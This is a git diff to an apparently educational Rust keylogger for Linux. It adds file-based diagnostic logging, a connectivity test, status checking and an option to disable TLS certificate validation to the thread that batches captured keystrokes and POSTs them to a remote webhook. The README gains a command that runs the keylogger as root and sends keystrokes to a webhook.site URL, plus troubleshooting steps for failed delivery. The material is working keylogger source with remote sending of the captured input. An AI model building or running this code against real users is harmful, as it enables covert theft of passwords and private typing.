diff --git a/README.md b/README.md index 59c680f..af1e973 100644 --- a/README.md +++ b/README.md @@ -138,6 +138,44 @@ When a webhook URL is provided, keystrokes are sent in batches as JSON POST requ Batching configuration: - **Batch size**: 20 keystrokes per request - **Timeout**: 2 seconds (sends partial batch if no new keys) +- **Connection timeout**: 10 seconds +- **Certificate validation**: Enabled by default (secure mode) + +⚠️ **TLS Certificate Validation**: By default, the keylogger uses strict TLS certificate validation to protect against man-in-the-middle attacks. If you're using webhook testing services with self-signed certificates, you can disable validation: + +```bash +export RUST_KEY_ACCEPT_INVALID_CERTS=true +sudo ./target/release/rust-key https://webhook.site/your-test-id +``` + +**Security Warning**: Only disable certificate validation for testing purposes. For production use with real keystroke data, always use properly signed TLS certificates and keep validation enabled (default). + +### Webhook Troubleshooting + +If your webhook isn't receiving data, check the `keylog.txt` file for diagnostic messages: + +```bash +grep "WEBHOOK:" keylog.txt +``` + +Common issues and solutions: + +1. **Initial connectivity test failed** + - Check if the webhook URL is correct and accessible + - Verify your network connection and firewall settings + - Ensure the webhook service is running + +2. **Failed to send batch to webhook** + - DNS resolution issues: Verify the hostname resolves correctly + - Network connectivity: Check if you can reach the endpoint with curl + - Endpoint errors: The webhook service might be returning errors + +3. **HTTP non-2xx status codes** + - Check webhook service logs for error details + - Verify the endpoint accepts POST requests with JSON payloads + - Ensure Content-Type: application/json is acceptable + +The keylogger will continue to log keystrokes to file even if webhook delivery fails. ## Educational Use Cases diff --git a/src/linux.rs b/src/linux.rs index 7febbf5..0307fa8 100644 --- a/src/linux.rs +++ b/src/linux.rs @@ -2,6 +2,7 @@ use evdev::{Device, EventType, InputEventKind, Key}; use std::fs::OpenOptions; use std::io::Write; use std::os::unix::io::AsRawFd; +use std::env; use chrono::Local; use nix::fcntl::{FcntlArg, OFlag}; use nix::sys::epoll::{self, EpollEvent, EpollFlags, EpollOp}; @@ -116,19 +117,75 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { let webhook_sender = webhook_url.map(|url| { let (tx, rx) = mpsc::sync_channel::(100); // Buffer up to 100 keystrokes + // Clone log path for use in webhook thread + let log_path_clone = log_path.to_string(); + // Spawn worker thread to handle webhook requests thread::spawn(move || { + // Helper to log to file + let log_to_file = |msg: &str| { + if let Ok(mut f) = OpenOptions::new().create(true).append(true).open(&log_path_clone) { + let _ = writeln!(f, "[{}] WEBHOOK: {}", Local::now().format("%Y-%m-%d %H:%M:%S"), msg); + let _ = f.flush(); + } + }; + + log_to_file(&format!("Initializing webhook client for URL: {}", url)); + + // Check if user wants to accept invalid certificates (for testing services) + // Set RUST_KEY_ACCEPT_INVALID_CERTS=true to accept self-signed certificates (less secure) + let accept_invalid_certs = env::var("RUST_KEY_ACCEPT_INVALID_CERTS") + .unwrap_or_else(|_| "false".to_string()) + .to_lowercase() == "true"; + + if accept_invalid_certs { + log_to_file("⚠️ WARNING: Certificate validation is DISABLED (insecure mode)"); + log_to_file("⚠️ This makes the connection vulnerable to man-in-the-middle attacks"); + log_to_file("⚠️ Only use this for testing with self-signed certificates"); + } else { + log_to_file("Certificate validation is enabled (secure mode - default)"); + } + // Create HTTP client once let client = match reqwest::blocking::Client::builder() - .timeout(std::time::Duration::from_secs(5)) + .timeout(std::time::Duration::from_secs(10)) // Increased from 5s to 10s + .danger_accept_invalid_certs(accept_invalid_certs) .build() { - Ok(c) => c, + Ok(c) => { + log_to_file("HTTP client created successfully"); + c + } Err(e) => { - eprintln!("Failed to create HTTP client: {}", e); + let error_msg = format!("Failed to create HTTP client: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + log_to_file("Webhook functionality will be disabled"); return; } }; + // Test initial connectivity with a minimal POST request + // This tests the same method that will be used for actual data transmission + log_to_file("Testing initial connectivity to webhook..."); + let test_payload = json!({ + "keystrokes": [] + }); + match client.post(&url).json(&test_payload).send() { + Ok(resp) => { + let status = resp.status().as_u16(); + log_to_file(&format!("Initial connectivity test successful (HTTP {})", status)); + if status >= 400 { + log_to_file(&format!("⚠️ Warning: Webhook returned error status {}. Check webhook configuration.", status)); + } + } + Err(e) => { + log_to_file(&format!("Initial connectivity test failed: {}", e)); + log_to_file("Will continue anyway - keystroke batches will be sent as they accumulate"); + eprintln!("Warning: Initial webhook connectivity test failed: {}", e); + eprintln!("Continuing anyway - keystroke batches will be sent as they accumulate"); + } + } + const BATCH_SIZE: usize = 20; // Send in batches of 20 keystrokes const BATCH_TIMEOUT_MS: u64 = 2000; // Or send after 2 seconds @@ -164,11 +221,20 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { let payload = create_payload(&batch); match client.post(&url).json(&payload).send() { - Ok(_) => { - // Successfully sent batch + Ok(resp) => { + let status = resp.status().as_u16(); + if status >= 200 && status < 300 { + log_to_file(&format!("Successfully sent batch of {} keystrokes (HTTP {})", batch.len(), status)); + } else { + let error_msg = format!("Webhook returned non-success status: HTTP {} for batch of {} keystrokes", status, batch.len()); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + } } Err(e) => { - eprintln!("Failed to send batch to webhook: {}", e); + let error_msg = format!("Failed to send batch to webhook: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); } } @@ -182,11 +248,20 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { let payload = create_payload(&batch); match client.post(&url).json(&payload).send() { - Ok(_) => { - // Successfully sent batch + Ok(resp) => { + let status = resp.status().as_u16(); + if status >= 200 && status < 300 { + log_to_file(&format!("Successfully sent batch of {} keystrokes (HTTP {}) [timeout]", batch.len(), status)); + } else { + let error_msg = format!("Webhook returned non-success status: HTTP {} for batch of {} keystrokes [timeout]", status, batch.len()); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + } } Err(e) => { - eprintln!("Failed to send batch to webhook: {}", e); + let error_msg = format!("Failed to send batch to webhook [timeout]: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); } } @@ -198,8 +273,18 @@ pub fn run_keylogger(log_path: &str, webhook_url: Option) { // Channel closed, send any remaining data if !batch.is_empty() { let payload = create_payload(&batch); - let _ = client.post(&url).json(&payload).send(); + match client.post(&url).json(&payload).send() { + Ok(_) => { + log_to_file(&format!("Sent final batch of {} keystrokes on shutdown", batch.len())); + } + Err(e) => { + let error_msg = format!("Failed to send final batch on shutdown: {}", e); + eprintln!("{}", error_msg); + log_to_file(&error_msg); + } + } } + log_to_file("Webhook thread shutting down"); break; } }